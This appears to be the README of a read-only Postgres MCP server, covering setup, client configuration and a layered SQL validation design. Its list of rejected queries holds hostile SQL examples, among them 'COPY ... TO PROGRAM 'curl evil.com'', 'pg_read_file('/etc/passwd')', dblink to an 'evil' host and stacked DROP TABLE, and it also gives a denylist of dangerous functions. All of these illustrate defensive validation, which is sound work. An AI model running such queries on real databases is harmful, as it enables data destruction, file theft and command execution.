mcp-server-db

An MCP server that lets Claude (or any MCP client) explore a Postgres database in plain English — and only read it.

Ask "which customers spent the most last quarter?" and get an answer. Ask it to delete something and four independent layers say no.

You:    What are our top 5 customers by total spend?
Claude: [list_tables] [describe_table payment] [run_query ...]
        KARL SEAL — $221.55 across 45 payments
        ELEANOR HUNT — $216.54 across 46 payments
        ...

Built with FastMCP · Python 3.12 · psycopg 3 · sqlglot

Quick start

Requirements: Python 3.12+, a Postgres database, and uv.

git clone https://github.com/<you>/mcp-server-db.git
cd mcp-server-db
uv sync

1. Create the read-only role

The server is designed to connect as a role that cannot write, so a bug on this side can never damage your data. Run this once, as a superuser, against the database you want to expose:

psql -v DBNAME=mydb -f sql/bootstrap_role.sql mydb

Open sql/bootstrap_role.sql first — change the password, and if you want to expose schemas other than public, repeat the GRANT USAGE / GRANT SELECT block for each one. The script ends with a sanity query that must return zero rows; if it returns anything, the role has privileges it should not have.

2. Point the server at it

export MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb'
uv run mcp-server-db

It speaks MCP over stdio, so it will sit there silently waiting — that is correct. Ctrl-C to quit. Real use goes through a client, below.

Related MCP server: Enterprise PostgreSQL MCP Server

Hooking it up

Claude Code

claude mcp add postgres-readonly \
  --env MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb' \
  -- uv run --directory /absolute/path/to/mcp-server-db mcp-server-db

Then claude and ask away. /mcp shows whether it connected.

Claude Desktop

Edit claude_desktop_config.json:

• macOS — ~/Library/Application Support/Claude/claude_desktop_config.json

• Windows — %APPDATA%\Claude\claude_desktop_config.json

• Linux — ~/.config/Claude/claude_desktop_config.json

{
  "mcpServers": {
    "postgres-readonly": {
      "command": "uv",
      "args": [
        "run",
        "--directory",
        "/absolute/path/to/mcp-server-db",
        "mcp-server-db"
      ],
      "env": {
        "MCP_DB_DSN": "postgresql://mcp_ro:your-password@localhost:5432/mydb"
      }
    }
  }
}

Restart Claude Desktop completely. The tools appear under the 🔌 icon.

Use absolute paths — the client does not launch from this directory. If uv is not on your PATH as the client sees it, use its full path (which uv).

Any other MCP client

Anything that can launch a stdio MCP server works. The command is uv run --directory <repo> mcp-server-db, with MCP_DB_DSN in the environment.

Things to ask it

Once connected, you talk to your database in English. Claude picks the tools.

Finding your way around

• "What's in this database?"

• "Show me the tables in the public schema, biggest first."

• "What columns does the orders table have, and what's it linked to?"

• "Show me a few rows from customers so I can see the shape of the data."

Actual questions

• "Which 10 customers spent the most, and how many orders each?"

• "How many signups per month this year?"

• "Which products have never been ordered?"

• "What's the average time between a customer's first and second order?"

• "Show me active and archived orders together, most recent first."

• "Are there any orders whose customer_id doesn't exist in customers?"

Understanding the schema

• "Draw me the relationships between these tables."

• "Which columns are nullable but probably shouldn't be?"

• "Is there an index on the column we filter by most?"

Things it will refuse — worth trying once to see the layers work

• "Delete the test customers."

• "Add an index on orders.created_at."

• "Read /etc/passwd."

It will explain that it only has read access, rather than failing obscurely.

Tools

row_estimate is the planner's reltuples statistic — instant, but approximate, and stale until someone runs ANALYZE. It is null for plain views. Ask for count(*) when you need the exact number.

Introspection uses fixed, parameterised catalog queries; identifiers are quoted with psycopg.sql.Identifier and never interpolated into SQL strings.

The four safety layers

Each is independent. Getting past one still lands on the next.

Why validation is recursive, not positional

Safety is never decided by asking "what is at the root of this query?". That question gets the classic case wrong:

WITH x AS (DELETE FROM users RETURNING *) SELECT * FROM x

A SELECT sits at the root, so from the top it looks innocent. Instead, every node is visited with expression.walk() and checked. The walk starts at the root node, so a top-level INSERT is caught by exactly the same check as one buried in a CTE — there is no separate case for it.

Once contents rather than shape decide the answer, branch structure stops mattering. UNION, INTERSECT, EXCEPT, subqueries, CTEs, and correlated subqueries in a WHERE clause are all just nodes on the walk, and all are allowed — they are pure read-only relational algebra, and "show me active and archived orders together" is a perfectly reasonable question.

A root-type allowlist (Select, SetOperation, Subquery, Values) is kept as a secondary check so unrecognised statement types fail closed. It is not what makes a query safe.

Function allowlist, not denylist

sqlglot gives standard SQL functions their own typed classes (Sum, Lower, TimestampTrunc, …), which are safe by construction. Anything it does not recognise arrives as exp.Anonymous, and those are checked against an allowlist of ~300 known read-only Postgres functions.

Unknown means rejected — so a dangerous function added in some future Postgres release fails closed, instead of walking through a denylist nobody remembered to update. A denylist of known offenders (pg_read_file, dblink, lo_import, query_to_xml, pg_sleep, …) is applied on top, covering the case where sqlglot later gives one of them a typed class.

Using your own functions? Add their names to ALLOWED_FUNCTIONS in guard.py. If a legitimate query is rejected with "not on the allowlist", that is the fix.

What gets rejected

SELECT 1; DROP TABLE users                       → only a single statement is allowed
WITH x AS (DELETE FROM t RETURNING *) SELECT ... → DELETE is not allowed
SELECT * INTO stolen FROM users                  → SELECT ... INTO is not allowed
COPY t TO PROGRAM 'curl evil.com'                → COPY is not allowed
SELECT pg_read_file('/etc/passwd')               → function not allowed
SELECT * FROM dblink('host=evil', '...')         → function not allowed
SELECT * FROM t FOR UPDATE                       → row locking is not allowed

And with layer 1 bypassed entirely, Postgres itself still answers cannot execute INSERT in a read-only transaction.

UNION vs UNION ALL

Plain UNION deduplicates, which means a sort or hash over the full result of both branches before a single row is returned — the outer LIMIT cannot short-circuit it. On large tables that is the likeliest way to hit the statement_timeout. run_query's tool description tells the model to prefer UNION ALL when duplicates do not need removing.

Output shape

One dict per row repeats every key on every row. Results are columnar instead:

{
  "columns": ["id", "name"],
  "rows": [[1, "a"], [2, "b"]],
  "row_count": 2,
  "truncated": false
}

On 100 real rows × 4 columns that is 3,226 bytes against 7,230 for the dict-per-row shape — a 55% saving.

truncated: true means rows were dropped by the row cap or the byte cap; ask a narrower question or raise max_rows.

Known overhead. FastMCP pretty-prints the text content block with indent=2 and sends a second compact copy as structuredContent, so the same 100-row result costs ~11.2 KB on the wire rather than 3.2 KB. That is the SDK's tool-result serialisation, not this server's encoding, and it applies to any FastMCP server. Returning a pre-serialised compact string from each tool avoids it, at the cost of dropping structuredContent for clients that use it.

Values are coerced to JSON: Decimal → int when integral else float, dates and timestamps → ISO 8601 strings, bytea → base64, uuid → string, json/jsonb → native objects. Treat very high-precision numeric as approximate.

Configuration

Row caps are fixed in code, not configurable by the client: run_query defaults to 100 rows and is hard-capped at 1000; sample_table is hard-capped at 50.

Troubleshooting

"No database DSN configured" — MCP_DB_DSN did not reach the process. In Claude Desktop it must be inside the server's env block, not your shell.

Server does not appear in the client — check the paths are absolute and that uv resolves. Test the exact command from your config in a terminal first; if it hangs silently with no error, that is success.

"relation does not exist, or the connected role has no SELECT privilege" — usually the latter. Re-run the GRANT SELECT block for that schema; tables created after the bootstrap need ALTER DEFAULT PRIVILEGES (see the script).

"Function … is not on the allowlist" — expected for custom or extension functions. Add the name to ALLOWED_FUNCTIONS in guard.py.

Queries time out — the default is 5s. Plain UNION on large tables is the usual cause; try UNION ALL. Raise MCP_DB_STATEMENT_TIMEOUT_MS if genuinely needed.

truncated: true — the byte cap hit before the row cap. Select fewer columns, or raise MCP_DB_MAX_BYTES.

Layout

src/mcp_server_db/
  server.py       FastMCP tool definitions
  guard.py        layer 1 (AST validation) + layer 4 (bounded rewrite)
  db.py           layer 2 (pooling, read-only transactions)
  introspect.py   catalog queries behind the introspection tools
  encode.py       columnar, byte-capped result encoding
  config.py       environment-driven settings
sql/
  bootstrap_role.sql   layer 3 (the SELECT-only role)